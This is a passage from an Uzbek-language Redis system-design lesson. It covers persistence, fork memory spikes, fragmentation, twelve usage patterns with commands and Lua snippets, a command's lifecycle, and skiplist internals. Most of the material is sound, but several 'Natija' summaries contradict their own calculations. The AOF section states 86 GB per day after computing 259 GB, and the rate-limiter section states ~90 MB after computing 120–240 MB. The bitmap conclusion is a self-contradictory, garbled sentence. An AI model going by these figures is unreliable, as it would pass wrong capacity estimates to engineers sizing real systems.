SozlamaYo‘qotish oynasiIshlash ta’siri
always~0 (har komanda)Juda katta — throughput bir necha barobar tushadi
everysec≤ 1 soniyaKichik — standart va tavsiya etilgan
noOT qachon xohlasa (30 s gacha)Yo‘q, lekin xavfli
Hisob · AOF fayli qanchalik tez o'sadi
Yozish tezligi: 50 000 ops/s O'rtacha komanda AOF'da: ~60 bayt Sekundiga: 50 000 x 60 = 3 MB/s Soatiga: 10.8 GB Kuniga: 259 GB auto-aof-rewrite-percentage 100 bo'lsa: fayl oxirgi rewrite'dan 2 barobar oshganda qayta yoziladi Rewrite natijasi ~ ma'lumot hajmiga teng (20 GB) Ya'ni fayl 20 -> 40 GB oralig'ida tebranadi
Natija: AOF kuniga 86 GB o'sadi — ma'lumot 20 GB bo'lsa ham. Shuning uchun avtomatik rewrite shart: u faylni joriy holatga qisqartiradi

4.2 fork va copy-on-write: xotira nega ikki barobar oshadi

Bu — Redis operatsiyasidagi eng ko‘p kutilmagan hodisa va u maxmemory ni tanlashni belgilaydi.

RDB saqlash yoki AOF rewrite paytida Redis fork() qiladi: bola jarayon xotiraning “suratini” oladi. Nusxa darhol olinmaydi — sahifalar copy-on-write rejimida ota va bola o‘rtasida baham ko‘riladi. Lekin ota jarayon yozishda davom etsa, har bir tegilgan sahifa nusxalanadi.

Hisob · Saqlash paytidagi xotira cho'qqisi
Ma'lumot hajmi: 20 GB Sahifa hajmi: 4 KB Saqlash davomiyligi: ~60 soniya Yozish tezligi 50 000 ops/s bo'lsa va har biri boshqa sahifaga tegsa (eng yomon holat): 60 s x 50 000 = 3 000 000 sahifa tegildi 3e6 x 4 KB = 12 GB nusxalandi Cho'qqidagi xotira: 20 + 12 = 32 GB Odatiy holatda (murojaat lokal, sahifalar takrorlanadi): ustama 10-30%, ya'ni 22-26 GB
Natija: Og'ir yozish yukida saqlash paytida xotira ikki barobargacha oshishi mumkin. Shuning uchun maxmemory RAM ning 50-60% idan oshmasligi kerak

4.3 Xotira fragmentatsiyasi

INFO memory da ikkita raqam bor va ular farq qiladi:

used_memory:        21474836480   # Redis o'zi hisoblagan (21 GB)
used_memory_rss:    27917287424   # OT ko'rsatgan haqiqiy (26 GB)
mem_fragmentation_ratio: 1.30     # nisbat

Nisbat 1.0 ga yaqin bo‘lishi kerak. 1.5 dan yuqori bo‘lsa — jemalloc bloklari orasida bo‘shliqlar bor (ko‘p o‘chirish va turli hajmdagi qiymatlar sabab). Chora: activedefrag yes (fon defragmentatsiyasi) yoki rejalashtirilgan qayta ishga tushirish.

Nisbat 1.0 dan past bo‘lsa — bu yomonroq signal: ma’lumotning bir qismi swap ga tushgan va har murojaat diskka boradi. Kechikish 100 ns dan 100 µs ga sakraydi.

Nazorat savoli · javobni ko‘rishRedis 'tez' bo'lishi kerak edi, lekin p99 kechikish 50 ms ga chiqdi. Qaysi to'rt sababni birinchi tekshirasiz?
  1. O(N) komanda — slowlog get 10 bilan sekin komandalarni ko‘ring. KEYS, katta HGETALL, katta obyektni DEL qilish
  2. Fork paytidagi to‘xtash — latest_fork_usec ni INFO da ko‘ring. 20 GB da fork o‘zi 200–400 ms bloklashi mumkin
  3. Swap — mem_fragmentation_ratio 1 dan past bo‘lsa yoki server RAM i to‘lgan bo‘lsa
  4. Tarmoq yoki mijoz tomoni — Redis INFO commandstats da tez ko‘rsatsa, lekin ilova sekin ko‘rsa, muammo tarmoq, ulanish hovuzi yoki mijoz kutubxonasida

Beshinchi, kam uchraydigan: AOF always rejimi — har komanda diskka fsync qiladi va kechikish diskning kechikishiga tenglashadi.

5. 12 ta asosiy stsenariy

Oddiy tilda: bitta doskani o‘n ikki xil maqsadda ishlatish mumkin — eslatma, navbat ro‘yxati, musobaqa jadvali, “kim keldi” belgisi, xona kaliti kimdaligi. Har maqsad uchun doskada boshqa shakl kerak: ro‘yxat, jadval, katakchalar. Redis’dagi turlar — aynan shu shakllar.

Bu bo‘lim darsning yuragi. Har bir stsenariyda: qanday muammo, qaysi struktura, aniq komandalar va eng ko‘p qilinadigan xato.

1

Kesh: eng keng tarqalgan stsenariy

Oddiy tilda: tez-tez so‘raladigan javobni doskaga yozib qo‘yish — har safar arxivga tushmaslik uchun.

GET article:1042                      -> kesh
  (yo'q bo'lsa) bazadan o'qish
SET article:1042 <json> EX 3600 NX    -> keshga yozish

Uch nozik nuqta:

  • TTL ga jitter — EX 3600 o‘rniga EX (3600 + rand(0,300)). Aks holda bir vaqtda yaratilgan minglab kalit bir vaqtda tugaydi (3.1-bo‘lim)
  • Salbiy keshlash — “bunday yozuv yo‘q” ham keshlanadi, qisqa TTL bilan. Aks holda mavjud bo‘lmagan ID lar to‘g‘ri bazani uradi
  • Stampede — hot kalit tugagan lahzada barcha so‘rovlar bazaga yuguradi. Yechim: SET lock:article:1042 1 NX EX 5 bilan bitta so‘rovni o‘tkazish (single-flight) yoki eskirgan qiymatni berib, fonda yangilash

Invalidatsiya uchun ikki naqsh:

NaqshQandayQachon
TTL bilan eskirishFaqat vaqt bo‘yichaMa’lumot kam o‘zgarsa
Yozishda o‘chirishDEL article:1042 yangilanishdaAniqlik muhim bo‘lsa

Yozishda yangilash emas, o‘chirish afzal: yangilash poyga holatiga olib keladi (eski qiymat yangisidan keyin yozilib qolishi mumkin), o‘chirish esa har doim xavfsiz.

Yutuq: Bazaga yuk 10-100 barobar kamayadi

Narxi: Izchillik kechikishi, invalidatsiya mantiqi, stampede xavfi

2

Sessiya saqlash

Oddiy tilda: ofisga kirish kartasi. Har eshik sizdan parol so‘ramaydi — kartangizni o‘qiydi va umumiy ro‘yxatdan kimligingizni biladi.

HSET session:a9f3... user_id 42 role admin csrf x7k2
EXPIRE session:a9f3... 1800
HGETALL session:a9f3...          -> har so'rovda
EXPIRE session:a9f3... 1800      -> faollikda muddatni uzaytirish

Hash ishlatiladi, chunki bitta maydonni (HSET session:... last_seen) butun obyektni qayta yozmasdan yangilash mumkin.

Muhim qaror: sessiyalar uchun noeviction yoki volatile-lru kerak. allkeys-lru da xotira bosimida sessiyalar chiqarib yuboriladi va foydalanuvchilar tasodifiy tizimdan chiqib qoladi. Bu — kesh va holat bir instansiyada saqlanganda yuzaga keladigan klassik xato; ularni alohida instansiyada saqlash to‘g‘riroq.

Yutuq: Serverlar holatsiz bo'ladi, istalganiga yo'naltirish mumkin

Narxi: Redis tushsa hamma tizimdan chiqib ketadi

3

Tezlik cheklovi (rate limiting)

Oddiy tilda: kafeda “bir kishiga bir soatda ko‘pi bilan uchta bepul qahva” qoidasi. Kassir har mijoz uchun hisob yuritadi va hisob har soatda yangilanadi.

Eng oddiy va eng ko‘p uchraydigan variant — sobit oyna:

INCR ratelimit:user:42:1712345678
EXPIRE ratelimit:user:42:1712345678 60 NX

Lekin ikkita komanda atomik emas: INCR dan keyin jarayon tushsa, kalit muddatsiz qoladi. To‘g‘ri yechim — Lua:

-- KEYS[1] = kalit, ARGV[1] = limit, ARGV[2] = oyna (soniya)
local current = redis.call("INCR", KEYS[1])
if current == 1 then
  redis.call("EXPIRE", KEYS[1], ARGV[2])
end
if current > tonumber(ARGV[1]) then
  return 0            -- rad etildi
end
return 1              -- ruxsat
Hisob · Rate limiter xotirasi
Kalit: "ratelimit:user:12345678:1712345678" ~ 38 bayt Qiymat: butun son (robj ichida, shared integer emas) Bitta yozuv (2.4-bo'limdagi hisob bo'yicha): dictEntry 24 + kalit SDS ~56 + robj 16 + ekspirasiya 24 = ~120 bayt 1 000 000 faol foydalanuvchi (daqiqada): 1e6 x 120 = 120 MB Sobit oynada ikkita oyna bir vaqtda yashaydi: cho'qqida ~ 240 MB
Natija: 1 million faol foydalanuvchi uchun ~90 MB. Arzon — lekin kalitlar TTL bilan bo'lishi shart, aks holda ular abadiy to'planadi

Sobit oynaning chegara muammosi (2-darsdagi hisob) uchun siljituvchi oyna kerak. ZSET bilan aniq variant:

ZREMRANGEBYSCORE rl:user:42 0 <hozir - 60000>   -- eskilarni tashlash
ZCARD rl:user:42                                 -- qolganini sanash
ZADD rl:user:42 <hozir> <unikal_id>              -- yangisini qo'shish
EXPIRE rl:user:42 60

Aniq, lekin qimmatroq: har bir so‘rov uchun ZSET da bitta element saqlanadi. 100 so‘rov/daqiqa limitida bitta foydalanuvchi ~100 element × ~70 bayt = 7 KB. Million foydalanuvchida bu 7 GB — shuning uchun aniq siljituvchi oyna faqat qimmat operatsiyalar uchun ishlatiladi.

Yutuq: Atomik, taqsimlangan, arzon

Narxi: Noto'g'ri yozilsa poyga holati; oyna chegarasi muammosi

4

Reyting jadvali (leaderboard)

Oddiy tilda: sport musobaqasidagi jadval. Har yangi natijada jadval o‘zi tartiblanadi va “men nechanchi o‘rindaman?” degan savolga darhol javob bor.

ZSET — skiplist va hashtable birgalikda: ball bo‘yicha tartib va a’zo bo‘yicha O(1) qidiruv.

ZADD leaderboard 15400 user:42
ZINCRBY leaderboard 250 user:42          -- ball qo'shish (atomik)
ZREVRANGE leaderboard 0 9 WITHSCORES     -- eng yaxshi 10 ta
ZREVRANK leaderboard user:42             -- mening o'rnim: O(log N)
ZCOUNT leaderboard 15000 +inf            -- mendan yuqoridagilar soni
Hisob · 10 million o'yinchi uchun ZSET
Bitta a'zo (skiplist + hashtable): skiplist tugun: ball(8) + a'zo ptr(8) + backward(8) + o'rtacha 2 daraja x (ptr 8 + span 8) ~ 56 bayt hashtable yozuvi (a'zo -> ball) ~ 40 bayt a'zo satri "user:12345678" SDS ~ 32 bayt ------------------------------------------------------------ Jami ~ 128 bayt 10 000 000 x 128 = 1.28 GB ZREVRANK murakkabligi: O(log N) = log2(1e7) = ~24 qadam
Natija: ~1.2 GB. Bitta o'yinchining o'rnini topish 24 ta taqqoslash — mikrosoniyalarda
▸Chuqurroq: Tenglik va vaqt: bir xil ballda kim yuqori turadi

ZSET bir xil ballli a’zolarni leksikografik tartibda saqlaydi. Ya’ni ikki o‘yinchi 15400 ball to‘plagan bo‘lsa, user:1000 user:999 dan yuqori chiqadi — bu o‘yin mantiqiga zid.

Odatiy yechim: ballga vaqtni kichik razryadlar sifatida qo‘shish, shunda oldin erishgan yuqori turadi:

ball_bilan_vaqt = ball * 1e10 + (10 000 000 000 - timestamp)

Muhim cheklov: ZSET ballari double (64-bitli suzuvchi nuqta), ya’ni butun sonlar faqat 2^53 gacha aniq saqlanadi. Formuladagi ko‘paytirish shu chegaradan chiqmasligini tekshirish shart, aks holda ballar sekin-asta buzila boshlaydi va buni sezish juda qiyin.

Yutuq: O'rin va diapazon so'rovlari O(log N) da

Narxi: Katta ZSET xotira yeydi; 'mening o'rnim' so'rovi tez, lekin sahifalash qimmat

5

Navbat va fon vazifalari

Oddiy tilda: oshxonadagi buyurtma qog‘ozlari ilgichi. Ofitsiant qog‘ozni ilib qo‘yadi, oshpaz bo‘shaganda oladi. Muhimi — oshpaz qog‘ozni olib, ovqatni tugatmay ketib qolsa, buyurtma yo‘qolmasligi kerak.

Sodda variant — List:

LPUSH queue:email '{"to":"a@b.uz","tpl":"welcome"}'
BRPOP queue:email 5          -- bloklab kutish (5 s timeout)

Muammosi: BRPOP elementni olib tashlaydi. Ishchi shu lahzada tushsa, vazifa butunlay yo‘qoladi. Yarim yechim — BLMOVE:

BLMOVE queue:email queue:email:processing LEFT RIGHT 5
  -- vazifa "ishlanmoqda" ro'yxatiga ko'chadi
  -- muvaffaqiyatda: LREM queue:email:processing 1 <vazifa>
  -- ishchi tushsa: boshqa ishchi eski elementlarni qaytaradi

To‘g‘ri variant — Streams (Redis 5 dan). Bu Kafka‘ga o‘xshash model:

XADD events * type order.created order_id 8891
XGROUP CREATE events workers $ MKSTREAM
XREADGROUP GROUP workers worker-1 COUNT 10 BLOCK 5000 STREAMS events >
XACK events workers 1712345678-0        -- bajarildi deb belgilash
XAUTOCLAIM events workers worker-2 60000 0-0   -- tashlab ketilganlarni olish
List navbat
  • Juda oddiy, 2 ta komanda
  • Bitta iste'molchi bitta xabar oladi
  • Tasdiqlash (ack) yo'q
  • Tarix yo'q — o'qildi, ketdi
Streams
  • Iste'molchi guruhlari, tasdiqlash, qayta taqsimlash
  • Xabar tarixi saqlanadi (MAXLEN bilan cheklanadi)
  • Bir xil xabarni bir necha guruh o'qiy oladi
  • Murakkabroq: pending list va XAUTOCLAIM boshqarilishi kerak

Yutuq: Oddiy, tez, ishonchli (to'g'ri qilinganda)

Narxi: List bilan xabar yo'qolishi mumkin; Streams murakkabroq, lekin to'g'ri

6

Pub/Sub: real-time bildirishnomalar

Oddiy tilda: radio. Diktor gapiradi, eshitayotganlar eshitadi. Kim radioni o‘chirib qo‘ygan bo‘lsa — o‘sha xabarni hech qachon eshitmaydi, yozuv qolmaydi.

SUBSCRIBE notifications:user:42
PUBLISH notifications:user:42 '{"type":"new_message"}'

Pub/Sub fire-and-forget: xabar shu lahzada ulangan obunachilarga yuboriladi va saqlanmaydi. Obunachi bir soniyaga uzilib qolsa, o‘sha davrdagi barcha xabarlar yo‘qoladi.

TalabPub/SubStreams
Eng past kechikish✓Deyarli bir xil
Yetkazish kafolati✗✓ (ack bilan)
Tarix va qayta o‘qish✗✓
Xotira sarfi~0Xabarlar saqlanadi
Sekin iste’molchiBufer to‘lsa uziladiPending listda kutadi

Amaliy qoida: muhim ma’lumot uchun Pub/Sub ishlatmang. U “yangi xabar keldi, qayta yuklab ol” kabi signal uchun mos; “to‘lov o‘tdi” kabi hodisa uchun emas.

▸Chuqurroq: Sekin obunachi butun serverni sekinlashtirishi mumkin

Har bir mijoz uchun Redis chiqish buferi ushlab turadi. Obunachi ma’lumotni yetarlicha tez o‘qimasa, bufer o‘sadi va oxir-oqibat client-output-buffer-limit pubsub chegarasiga yetganda ulanish majburan uziladi.

Standart chegara: 32mb 8mb 60 — ya’ni 32 MB da darhol, yoki 60 soniya davomida 8 MB dan yuqori bo‘lsa uziladi.

Bu himoya mexanizmi, lekin u shuni anglatadiki: eng sekin obunachi butun tizimning xotirasiga ta’sir qiladi. Ko‘p obunachili tizimda bu chegaralarni kuzatib turish shart.

Yutuq: Eng past kechikish, juda oddiy

Narxi: Hech qanday kafolat yo'q: obunachi yo'q bo'lsa xabar yo'qoladi

7

Taqsimlangan qulf (lock)

Oddiy tilda: hammomning bitta kaliti. Kim kalitni olgan bo‘lsa, o‘sha ichkarida. Lekin kalit egasi ichkarida uxlab qolsa, muddat tugagach kalit boshqasiga beriladi — va endi ichkarida ikki kishi bo‘lishi mumkin.

Asosiy naqsh:

SET lock:order:8891 <unikal_token> NX PX 30000
  NX  -> faqat mavjud bo'lmasa
  PX  -> 30 soniyadan keyin avtomatik ochiladi (jarayon tushsa qulf qolmasin)

Ochish albatta atomik bo‘lishi kerak — aks holda o‘z qulfingiz emas, boshqasinikini ochib yuborishingiz mumkin:

if redis.call("GET", KEYS[1]) == ARGV[1] then
  return redis.call("DEL", KEYS[1])
else
  return 0
end

Yutuq: Bir vaqtda bitta jarayon ishlashini ta'minlaydi

Narxi: To'liq kafolat BERMAYDI — bu darsdagi eng nozik mavzu

8

Hisoblagichlar va HyperLogLog

Oddiy tilda: stadion kirishidagi hisoblagich va “necha xil odam keldi” degan savol. Birinchisi oson — har kirganni sanaysiz. Ikkinchisi qiyin — bir odam ikki marta kirsa, ikki marta sanamaslik kerak.

Oddiy hisoblagichlar atomik va arzon:

INCR views:article:1042
INCRBY balance:user:42 -500
HINCRBY stats:2026-09-01 orders 1

Noyob sanash uchun to‘plam qimmat, HyperLogLog esa deyarli bepul:

Hisob · Noyob tashrif: SET va HLL
10 million noyob foydalanuvchini sanaymiz. SET bilan (aniq): 10e6 x (dictEntry 24 + SDS "user:12345678" ~32) = ~560 MB SMEMBERS -> O(N), 10M element qaytaradi HyperLogLog bilan: PFADD visitors:2026-09-01 user:12345678 PFCOUNT visitors:2026-09-01 Hajmi: 12 KB (o'zgarmas, elementlar sonidan qat'i nazar) Xato: 0.81% Bonus: PFMERGE bilan kunlikni haftalikka qo'shish mumkin PFMERGE visitors:hafta visitors:kun1 ... visitors:kun7
Natija: HLL 66 000 barobar kam joy egallaydi. Narxi — 0.81% xato va elementlar ro'yxatini qaytarib bo'lmasligi

PFMERGE — HLL ning eng qimmatli xususiyati: kunlik hisoblagichlarni birlashtirib, haftalik noyob sonni qayta sanamasdan olish mumkin. Oddiy hisoblagichlar bilan bu mumkin emas, chunki kunlik summalar bir xil odamni bir necha marta hisoblaydi.

Yutuq: Atomik hisob; noyob sanash 12 KB da

Narxi: HLL taxminiy (0.81% xato) va elementlarni qaytarib bermaydi

9

Bitmap: ulkan mantiqiy massivlar

Oddiy tilda: sinf jurnali. Har o‘quvchining joyi raqami bilan belgilangan, va kelgan-kelmaganini bitta belgi — “+” yoki bo‘sh katak — ko‘rsatadi. Yuz million o‘quvchi uchun ham bitta qalin daftar yetadi.

Har bir foydalanuvchi — bitta bit. Foydalanuvchi ID si — bit pozitsiyasi.

SETBIT active:2026-09-01 12345678 1     -- foydalanuvchi bugun kirdi
GETBIT active:2026-09-01 12345678       -- kirganmi?
BITCOUNT active:2026-09-01              -- bugun nechta faol
BITOP AND retained active:2026-09-01 active:2026-09-02
BITCOUNT retained                        -- ikki kun ham kirganlar
Hisob · Kunlik faol foydalanuvchilar
100 000 000 foydalanuvchi, har biri 1 bit: 100e6 bit / 8 = 12 500 000 bayt = 12.5 MB / kun Solishtiring, SET bilan (faqat faollar, 10M kishi): 10e6 x ~56 bayt = 560 MB / kun Bir yillik tarix: Bitmap: 365 x 12.5 MB = 4.5 GB SET: 365 x 560 MB = 200 GB
Natija: Bir yillik kunlik faollik tarixi 4.5 GB emas, atigi 4.5 GB... aniqrog'i 365 x 12.5 MB = 4.5 GB. SET bilan bu 200 GB dan oshardi

Yutuq: 100 million foydalanuvchi holati 12 MB da

Narxi: Faqat ketma-ket ID lar uchun samarali; siyrak ma'lumotda isrof

10

Geografik qidiruv

Oddiy tilda: xaritadagi tugmachalar. “Menga eng yaqin uchta taksi qayerda?” — xaritaga qarab darhol ko‘rasiz.

GEOADD drivers 69.2401 41.2995 driver:88
GEOSEARCH drivers FROMLONLAT 69.24 41.30 BYRADIUS 3 km ASC COUNT 10 WITHDIST
GEODIST drivers driver:88 driver:91 km

Ichkarida bu ZSET: koordinata 52-bitli geohash songa aylantiriladi va ball sifatida saqlanadi. Ya’ni barcha ZSET komandalari ham ishlaydi va xotira hisobi ZSET niki bilan bir xil.

Cheklovi muhim: GEOSEARCH faqat masofa bo‘yicha filtrlaydi. “3 km ichidagi, bo‘sh, 4 yulduzdan yuqori, elektromobil” degan so‘rov uchun Redis yetarli emas — nomzodlarni Redis topadi, qolgan filtrlar ilova yoki bazada bajariladi. Bu naqsh Uber darsida yana qaytadi.

Yutuq: 'Yaqin atrofdagilar' so'rovi bitta komandada

Narxi: Faqat ikki o'lchov; murakkab filtr bilan birlashtirib bo'lmaydi

11

Deduplikatsiya va idempotentlik

Oddiy tilda: pochta bo‘limi har posilkani “topshirildi” deb belgilaydi. Kuryer adashib bir posilkani ikki marta olib kelsa, belgi bor — ikkinchisi qabul qilinmaydi.

Navbatlar “kamida bir marta” (at-least-once) yetkazadi, ya’ni bir xil xabar ikki marta kelishi mumkin. Redis buni bitta komandada yechadi:

SET processed:msg:8891 1 NX EX 86400
  -> 1 qaytsa: birinchi marta, ishlov beramiz
  -> nil qaytsa: allaqachon ishlangan, tashlab ketamiz

To‘lov API si uchun ham xuddi shu naqsh (Idempotency-Key — 2-darsdagi API dizayni).

Nozik nuqta: ishlov berish muvaffaqiyatsiz bo‘lsa nima qilamiz? Agar belgi oldindan qo‘yilgan bo‘lsa, xabar qayta ishlanmaydi va butunlay yo‘qoladi. To‘g‘ri ketma-ketlik:

1. SET ... NX  -> "ishlanmoqda" belgisi, qisqa TTL (masalan 5 daqiqa)
2. Ishni bajarish
3. Muvaffaqiyatda: belgini uzoq TTL ga o'zgartirish (24 soat)
   Xatoda: belgini O'CHIRISH -> xabar qayta urinishga qaytadi

Yutuq: Takroriy hodisa ikki marta ishlanmaydi

Narxi: TTL tugagach kafolat ham tugaydi

12

Asosiy saqlash sifatida Redis

Oddiy tilda: doskani arxiv o‘rnida ishlatish. Mumkin — agar doska katta bo‘lsa, har kuni suratga olinsa va undagi narsa yo‘qolsa halokat bo‘lmasa.

Redis‘ni birlamchi baza sifatida ishlatish mumkin, lekin faqat aniq shartlarda:

ShartNima uchun
Ma’lumot RAM ga sig‘adi va o‘sishi bashoratliRedis diskdan “sahifalab” o‘qimaydi
AOF everysec yoqilgan1 soniyagacha yo‘qotishga rozilik
Replika va avtomatik failover borBitta tugun — bitta nosozlik nuqtasi
Murakkab so‘rov kerak emasJOIN, agregatsiya, ad-hoc filtr yo‘q
Zaxira nusxa jarayoni sinovdan o‘tganRDB fayli muntazam tashqariga saqlanadi

Mos keladigan holatlar: real-time o‘yin holati, sessiyalar, feature flag‘lar, IoT qurilma holatlari, tezkor hisoblagichlar. Mos kelmaydigan: moliyaviy yozuvlar, hisobotlar uchun tarixiy ma’lumot, har qanday “yo‘qolsa halokat” ma’lumoti.

Yutuq: Eng past kechikish, murakkab tuzilmalar

Narxi: RAM narxi, doimiylik kafolatining chegaralari

Nazorat savoli · javobni ko‘rishSizga 'foydalanuvchining oxirgi 100 ta ko'rgan mahsuloti' kerak. Qaysi strukturani tanlaysiz va nega?

List — LPUSH + LTRIM:

LPUSH recent:user:42 product:991
LTRIM recent:user:42 0 99        -- faqat oxirgi 100 tasi qoladi
LRANGE recent:user:42 0 19        -- oxirgi 20 tasi

LTRIM har LPUSH dan keyin chaqiriladi — bu O(1) ga yaqin amal va ro‘yxat hech qachon 100 tadan oshmaydi.

Nega boshqalari emas:

  • ZSET (vaqt ball sifatida) ham ishlaydi va takrorlanishni avtomatik yo‘q qiladi, lekin har element ~128 bayt (List da ~30 bayt) va murakkabligi O(log N)
  • Set tartibni saqlamaydi — “oxirgi ko‘rilgan” degani tartib demak
  • String (JSON massiv) har yangilashda butun qiymatni qayta yozishni talab qiladi

Takrorlanishni yo‘q qilish kerak bo‘lsa: LREM recent:user:42 0 product:991 ni LPUSH dan oldin chaqirish (O(N), lekin N=100 — arzon), yoki ZSET ga o‘tish.

Nazorat savoli · javobni ko‘rishJamoa 'sessiyani ham, keshni ham, navbatni ham bitta Redis'da saqlaymiz — arzon' deyapti. Javobingiz?

Uchta turli ma’lumot, uchta turli talab — ular bir instansiyada yashay olmaydi:

KeshSessiyaNavbat
Yo‘qolsaSekinlashadiFoydalanuvchi chiqib ketadiVazifa bajarilmaydi
Siyosatallkeys-lrunoeviction yoki volatile-lrunoeviction
DoimiylikKerak emasKerakAlbatta kerak
O‘sishBashoratliFoydalanuvchilarga bog‘liqPortlash mumkin

Bitta instansiyada allkeys-lru qo‘yilsa, xotira bosimida sessiyalar va navbatdagi vazifalar siqib chiqariladi — ya’ni kesh bosimi ma’lumot yo‘qotishga aylanadi. noeviction qo‘yilsa, kesh o‘sishi butun tizimda yozishni to‘xtatadi.

To‘g‘ri: kamida uchta alohida instansiya (yoki bitta serverdagi uchta jarayon). Xarajat farqi kichik, xavf farqi juda katta.

6. Bitta komandaning hayoti

Endi bitta komandani — INCR views:1042 — mijozdan diskka va replikagacha kuzatamiz. Shunda “bitta ip”, “atomik”, “1 soniyagacha yo‘qotish” degan gaplar aniq rasmga aylanadi.

6.1 Qadam-baqadam

Oddiy tilda: siz kassaga chek uzatdingiz. Kassir uni oladi, bajaradi, javobni yozib qo‘yadi va keyingi odamga o‘tadi. Kechqurun buxgalter kunlik cheklar nusxasini arxivga topshiradi, filialdagi hamkasbi esa har chekning nusxasini biroz kechikib oladi. Siz javobni darhol olasiz — arxivlash va nusxalash sizni kutdirmaydi.

Mijoz: INCR views:1042
RESP: *2 $4 INCR $10 views:1042
Yadro: socket buferi
epoll: 'o'qishga tayyor'
Parse + komandalar jadvali
Bajarish: ~1 us
Javob buferi: :1043
Keyingi sikl: socketga yozish
Hammasi bitta ipda, navbat bilan. Komanda o'rtasida boshqa mijozning komandasi bajarilmaydi — atomiklik shundan
  1. RESP (2.2) komandani baytlarga aylantiradi. Bir nechta komanda bitta paketda kelishi mumkin — pipelining (2.7).
  2. Event loop epoll dan qaysi socketlarda ma’lumot borligini so‘raydi va har birini navbat bilan o‘qiydi.
  3. Komanda jadvaldan topiladi (INCR → uning funksiyasi), argumentlar tekshiriladi, ACL ruxsati ko‘riladi (11.2).
  4. Bajarish: kalit lug‘atdan topiladi, son 1 ga oshiriladi. Shu lahzada o‘zgarish faqat xotirada.
  5. Javob mijozning chiqish buferiga yoziladi va keyingi sikl boshida socketga ketadi.
  6. Yozish komandasi bo‘lgani uchun u AOF buferiga va replikalar oqimiga ham qo‘shiladi (6.3).

6.2 Bitta ipning vaqt byudjeti

Bitta ip — bitta navbat. Shuning uchun eng sekin komanda hammaning kechikishini belgilaydi.

Hisob · Bitta sekin komanda qancha odamni kutdiradi
Yuk: 100 000 ops/s, oddiy komanda ~5 us Kimdir ishlab chiqarishda KEYS * yubordi: 10 mln kalit, har biri ~0.2 us -> ~2 soniya bloklash 2 soniyada kelgan so'rovlar: 100 000 x 2 = 200 000 ta navbatda Mijoz timeout'i 200 ms bo'lsa: ~180 000 tasi timeout -> qayta urinish bloklash tugagach: 200 000 + 180 000 so'rov birdaniga -> yana bir necha yuz ms navbat O(1) komanda bilan solishtiring: 10 000 ta komanda x 5 us = 50 ms — hech kim sezmaydi
Natija: 2 soniyalik KEYS — 200 ming so'rov navbatda. Ularning hammasi kamida bir necha yuz millisekund kechikadi, ko'pi timeout bo'ladi va qayta urinish to'lqinini boshlaydi

Bu hisob 2.6 dagi qoidani raqam bilan tushuntiradi: bitta ipli serverda O(N) komanda — bu butun tizim uchun O(N) to‘xtash.

6.3 Yozuv qayerga ketadi va qachon xavfsiz

Bajarildi — faqat xotirada
Mijozga javob (:1043)
AOF buferi
write(): OT sahifa keshi
fsync: diskda (everysec — har soniyada)
Replika oqimi (asinxron)
Replika qo'lladi
Mijoz javobni ikkinchi qadamda oladi. Undan keyingi hamma narsa — FONDA. 'OK oldim' degani 'saqlandi' degani emas
Hisob · '+OK' olgandan keyin yozuv qancha xavf ostida
Yozish tezligi: 50 000 ops/s Server jarayoni tushdi (OT ishlayapti): write() qilingan hamma narsa OT keshida -> yo'qolmaydi Server elektr bilan o'chdi (everysec): oxirgi fsync'dan beri <= 1 s -> <= 50 000 yozuv Master tushdi, replika ko'tarildi: replikatsiya kechikishi 2 ms -> ~100 yozuv tarmoq muammosida 500 ms -> ~25 000 yozuv appendfsync always: har yozuvda fsync -> yo'qotish ~0, lekin throughput disk kechikishiga bog'lanadi (NVMe ~20-100 us -> 10-50 ming ops/s, guruhlab yozish bilan ko'proq)
Natija: appendfsync everysec bilan: server tushsa — oxirgi ~1 soniya; master tushsa va failover bo'lsa — replikatsiya kechikishi oralig'idagi yozuvlar. Ikkalasi ham 0 emas
Nazorat savoli · javobni ko‘rishMijoz `INCR balance:42` ga javob oldi. Bu yozuv endi xavfsiz saqlandimi?

Yo‘q — bu faqat xotirada bajarilganini anglatadi. Keyingi qadamlar fonda:

  1. AOF buferiga qo‘shildi; write() keyingi sikl atrofida
  2. fsync — everysec da sekundiga bir marta. Elektr o‘chsa, shu oraliq yo‘qolishi mumkin
  3. Replikaga asinxron ketadi. Master shu lahzada tushib, replika ko‘tarilsa — yozuv yo‘qolishi mumkin (8.2)

Kuchliroq kafolat kerak bo‘lsa: WAIT 1 100 (kamida bitta replika tasdiqlaguncha kutish — bu ham to‘liq kafolat emas), appendfsync always (sekinroq), yoki — pul kabi ma’lumot uchun — Redis emas, tranzaksion baza. Redis’dagi balans — kesh yoki tezkor nusxa bo‘lishi mumkin, lekin manba haqiqat emas.

7. Strukturalar ichidan: skiplist, HyperLogLog va namunali LRU

5-bo‘limda strukturalardan foydalandik. Endi uchtasining ichiga kiramiz — 2-daraja amaliyotida aynan shularni o‘zingiz yozasiz.

7.1 Skiplist: reyting qanday O(log N)

Oddiy tilda: shahar metrosida ikki xil poyezd bor. Oddiy poyezd har bekatda to‘xtaydi, ekspress esa faqat har to‘rtinchisida. Uzoq bekatga borish uchun avval ekspressda yaqinlashasiz, keyin oddiy poyezdga o‘tib, kerakli bekatda tushasiz. Skiplist — ko‘p qavatli “ekspress”lar: har qavatda bekatlar to‘rt barobar siyrak.

Mexanizm: har yangi elementga tasodifiy daraja beriladi. 1-daraja — hamma; 2-darajaga 25% ehtimol bilan chiqadi, 3-darajaga — 6.25% va hokazo (Redis’da P = 0.25, ko‘pi bilan 32 daraja). Qidiruv eng yuqori qavatdan boshlanadi va “keyingisi kerakligidan katta bo‘lsa — bir qavat pastga” qoidasi bilan tushadi.

Redis’ning qo‘shimchasi — span: har ko‘rsatkich nechta elementni sakrab o‘tishini eslab qoladi. Yo‘l bo‘yidagi span’larni qo‘shsangiz — elementning o‘rni (rank) chiqadi. Shu sabab ZRANK va ZRANGE 1000 1009 ham O(log N).

Hisob · 10 million o'yinchida 'mening o'rnim' nechta qadam
P = 0.25, N = 10 000 000 Kutilgan eng yuqori qavat: log_4(N) = log(1e7) / log(4) = ~11.6 Har qavatda o'rtacha qadamlar: 1 / P = 4 dan oshmaydi, amalda ~2-3 (tepadagi qavatlarda kamroq) Jami: ~12 x 3 = ~36 taqqoslash Xotira: o'rtacha ko'rsatkichlar soni tugunga 1 / (1 - P) = 1.33 ta (forward + span) -> ~21 bayt (5-bo'lim 4-stsenariydagi ~56 bayt — Redis'ning boshqa maydonlari bilan)
Natija: ~12 qavat, har qavatda o'rtacha ~2-3 qadam: jami ~30-40 ta taqqoslash. Balanslangan daraxt bilan deyarli bir xil, lekin kodi ancha sodda
▸Chuqurroq: Nega balanslangan daraxt emas

